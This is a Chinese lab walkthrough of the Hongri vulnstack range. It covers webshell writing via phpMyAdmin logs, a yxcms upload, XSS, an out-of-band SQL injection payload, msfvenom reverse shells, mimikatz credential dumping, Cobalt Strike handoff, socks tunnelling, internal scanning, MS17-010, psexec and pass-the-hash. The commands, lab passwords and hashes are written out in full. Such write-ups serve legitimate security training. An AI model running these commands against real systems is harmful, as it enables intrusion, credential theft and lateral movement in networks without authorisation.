红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记 您所在的位置:网站首页 渗透实战教程 红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记

红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记

2023-12-20 01:50| 来源: 网络整理| 查看: 265

这里写目录标题 一、环境搭建二、拿下web服务器信息收集phpmyadmin日志getshell yxcms文件上传xsssql注入 三、后渗透3.1 基于msf3.2 msf 联动 cobaltstrike 四、横向移动4.1 搭建隧道msf+proxychainscobaltstrike + proxifer 4.2 内网信息收集4.3 控制域内其他主机1.已知漏洞2.psexec攻击3.域hash传递攻击

一、环境搭建

实验环境拓扑如下: 在这里插入图片描述 红日靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

这里搭一个最简单的域环境,域控+dmz服务器(去掉域成员)

windows2008 域控 (host-only)10.37.129.9 windiws 7 web服务器 (双网卡 host-only + 乔接)10.37.129.7/172.20.10.8 windows 10 172.20.10.9 (cs客户端) kali 172.20.10.10 公网vps (cs服务端) 二、拿下web服务器 信息收集

拿到站点后,我们先找其ip地址(这里直接有了),用nmap扫描一波, 得到了一些信息: (中间换了个环境ip发生了变化不过问题不大~) 在这里插入图片描述 然后访问其80端口,是一个phpinfo()页面: 在这里插入图片描述 以其为根目录,再扫描其他路径。 扫描工具很多,能不能扫出有用信息还是看字典是否强大。 这里是扫出来phpmyadmin和beifen.rar路径。

phpmyadmin

数据库管理后台,如果能让猜解出账号密码,可尝试使用file_into或日志写入webshell。 这里是直接 root/root 弱口令可以登录:

into写入文件: 使用需看要secure_file_priv的值。 当value为“null”时,不允许读取任意文件 当value为“空”时,允许读取任意文件 value可也已设置为其他路径。

这里secure_file_priv值为空,就行不通了。 在这里插入图片描述 ps:如果想通过into写入文件:

修改value的值: windows下修改配置文件:mysql.ini linux修改配置文件:my.cnf select 1,'' INTO OUTFILE '/var/www/html/test.php'# select 1,'' INTO dumpfile '/var/www/html/test.php'# #区别在于使用outfile时,文件中一行的末尾会自动换行 日志getshell

主要使用慢日志getshell

慢日志:

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'

因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。 在这里插入图片描述

查看: 在这里插入图片描述

set global slow_query_log=1; #开启 set global slow_query_log=0; #关闭

2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='dir\filename'

在这里插入图片描述 3.向日志中写入内容 在这里插入图片描述 在这里插入图片描述 实战如下: 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

yxcms

直接给出了后台登录方式: 在这里插入图片描述

文件上传

因为是靶场,直接上一句话即可: 在这里插入图片描述 文件已上传,可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径: 在这里插入图片描述 在这里插入图片描述 蚁剑成功连接: 在这里插入图片描述

xss

留言板处存在xss漏洞: 在这里插入图片描述 后台审核时触发: 在这里插入图片描述

sql注入

注入点:http://xxx/index.php?r=admin/fragment/index

payload:1 and if((select load_file(concat(’\\’,(select database()),’.xxxx.ceye.io\abc’))),1,1))– 个人感觉用处不大没有复现,有兴趣的师傅可以研究一下。

三、后渗透

后渗透阶段,当我们已经将小马上传到web服务器上时,可以用webshell管理工具进行下一步渗透了。

3.1 基于msf

这里的思路是将shell派送给CS或者msf进行下一步渗透。 使用msf生成exe并开启监听(也可以用cs生产exe):

msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.20.10.8 LPORT=1234 -f exe -o run2.exe use exploit/mutli/handler set payload windows/x64/meterpreter_reverse_tcp set lhost 172.20.10.8 set lport 1234 exploit -j(后台)允许

用蚁剑将exe上传并执行: 在这里插入图片描述 得到反弹回来的shell

sessions -i(查看回话)

在这里插入图片描述 获取system权限 进来后第一步肯定是提权到system: 这里直接是administrator,所有可以直接提到system,实战中还需要其他手段提权。 在这里插入图片描述 第二步是获取账号密码: 1.导入账号,密码hash值:

run hashdump

在这里插入图片描述

Windows系统下的hash密码格式为: 用户名称:RID:LM-HASH值:NT-HASH值 NT-HASH hash生产方式: 1. 将明文口令转换成十六进制的格式 2. 转换成Unicode格式,即在每个字节之后添加0x00 3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串 eg:用户密码为test123 转换成十六进制的格式为74657374313233 转换成Unicode格式为7400650073007400310032003300 对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1

2.mimikatz 加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限:

ps migrate PID load mimikatz mimikatz_command -f sekurlsa::searchPasswords

在这里插入图片描述 3.kiwi

load wiki creds_all

在这里插入图片描述

开启3389:

run post/windows/manage/enable_rdp

在这里插入图片描述 测试: 在这里插入图片描述

3.2 msf 联动 cobaltstrike

msf获取到shell后,可以派发给cobaltstrike: 首先cobaltstrike创建监听器: 在这里插入图片描述 在msf控制台执行如下操作: 在这里插入图片描述

use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成 set lhost xxxx #公网vps ip set lport 14444 #监听端口 set session 1 #派发session id exploit

得到shell: 在这里插入图片描述

四、横向移动 4.1 搭建隧道

横向渗透前,先将该web服务器配置为代理服务器当作跳板机。

msf+proxychains

可用msf直接搭建sock隧道: 进入session,自动创建路由:

run post/multi/manage/autoroute

在这里插入图片描述 查看路由: run autoroute -p 在这里插入图片描述 退到上层,使用socks4a进行代理,端口与proxychains里设置一致即可:

background use auxiliary/server/socks4a run

在这里插入图片描述 run后 可用jobs查看任务是否执行:

jobs

在这里插入图片描述 配置proxychains:

vi /etc/proxychains.conf

在这里插入图片描述 全局代理测试: 在这里插入图片描述 浏览器代理测试: 在这里插入图片描述

cobaltstrike + proxifer

cs开启socks代理: 在这里插入图片描述 自定义端口: 在这里插入图片描述

proxifer设置: 在这里插入图片描述 测试: 在这里插入图片描述

4.2 内网信息收集

使用msf内置模块进行存活主机探测

auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机 auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机 auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机

内网主机端口扫描

proxychains nmap -Pn -sT 172.20.10.10 auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(默认扫描1-10000)

内网主机服务探测

auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口 auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口 auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口 auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口 auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口 auxiliary/scanner/http/title #探测内网http服务的标题 auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口 auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口 auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口 auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口 auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口 auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口 auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口 auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字 4.3 控制域内其他主机 1.已知漏洞

可尝试MS17-010(445)和 MS19-0708(3389),直接search找exp eg: 打之前先探测一波:

search ms17-010 use auxiliary/scanner/smb/smb_ms17_010 set rhost 10.37.129.7 run

在这里插入图片描述 调用exp打一下,不保证100%能能打成功,会有很多因素失败,可以尝试一下。

2.psexec攻击

内网中,最总要的还是域管理员账号,有了域管理员账号后,可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。 下载地址: pstools:https://download.sysinternals.com/files/PSTools.zip

psexec.exe \\10。37.129.7 -u god\administrator -p hongrisec@2019 cmd

这里其实已经登录成功,因为账号安全周期原因密码过期了 在这里插入图片描述 更改密码后再次登录:

3.域hash传递攻击

与psexec类似,当我获取获取到域管理员密码NTLM hash值时,可借助mimikatz进行进行登录域内其他电脑:

sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4

在这里插入图片描述



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有